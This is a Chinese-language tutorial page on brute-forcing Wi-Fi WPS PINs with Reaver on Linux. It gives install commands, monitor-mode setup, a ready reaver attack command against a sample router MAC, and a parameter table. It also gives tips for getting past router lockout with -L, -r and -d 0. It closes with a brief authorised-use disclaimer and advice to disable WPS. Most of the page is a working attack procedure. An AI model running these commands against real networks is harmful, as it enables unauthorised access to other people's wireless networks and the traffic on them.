Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> Linux 系統教學 >> Linux 教學

Linux 下使用 Reaver 破解 WiFi WPS PIN 碼完整教學

編輯:Linux 教學

本文詳細介紹在 Linux 環境下使用 Reaver 工具,透過窮舉 WPS PIN 碼來測試無線路由器安全性的完整流程。僅供授權測試與學術研究使用,嚴禁用於非法入侵。

前置準備與原理

  • 工具:Reaver、Aircrack-ng、無線網卡(需支援監聽模式)
  • 原理:利用 WPS 協定漏洞,窮舉 8 位數字 PIN 碼(實際驗證僅前 4 位 + 後 3 位 + 校驗碼,搜尋空間約 11,000 次),破解 WPA/WPA2 密鑰。

安裝步驟(以 Ubuntu/Debian 為例)

1. 安裝依賴套件

sudo apt-get update
sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev build-essential

2. 編譯安裝 Reaver

tar -xzvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install

3. 安裝 Aircrack-ng(Ubuntu 12.04+ 需自行編譯)

tar -xzvf aircrack-ng-x.x.tar.gz
cd aircrack-ng-x.x
./configure
make
sudo make install

實戰操作流程

  1. 啟用監聽模式:airmon-ng start wlan0(產生 mon0 介面)
  2. 掃描開啟 WPS 的 AP:wash -i mon0 -C,記下目標 BSSID (MAC) 與頻道
  3. (可選)詳細掃描:airodump-ng mon0 確認信號強度、加密方式等
  4. 發動攻擊:
    reaver -i mon0 -b 目標MAC -a -S -vv
    # 進階參數範例:
    reaver -i mon0 -b D8:5D:4C:37:78:F6 -a -S -vv -d 0 -c 頻道
    

關鍵參數詳解

參數說明
-i監聽介面(通常為 mon0)
-b目標 AP 的 BSSID (MAC)
-a自動偵測最佳進階參數
-S使用小型 DH 金鑰加速破解(推薦)
-vv顯示詳細過程
-d 0嘗試間延遲 0 秒(加快速度,易觸發 AP 鎖定)
-c指定頻道(避免跳頻)
-L忽略 AP 回報的鎖定狀態
-w模擬 Windows 7 註冊器

WPS PIN 碼機制補充

  • PIN 碼印於路由器標籤,亦可在管理介面修改
  • 輸入正確 PIN 碼即可在不輸入 WiFi 密碼的情況下連線
  • 前 4 碼與後 3 碼分別驗證,第 8 碼為校驗碼,實際組合僅 10^4 + 10^3 = 11,000 種

注意事項

  • 信號品質是成功關鍵,參數配合需視環境調整
  • 多數現代路由器已實作 WPS 鎖定機制(連續失敗鎖定 60 秒以上)
  • 可嘗試 -r x:y(每 x 次暫停 y 秒)或 -L 繞過鎖定
  • 破解時間視 AP 回應速度而定,可能數小時至數天

防護建議

路由器管理介面中關閉 WPS 功能、升級韌體、使用 WPA3 加密,才能從根本防範此類攻擊。

Copyright © Windows教程網 All Rights Reserved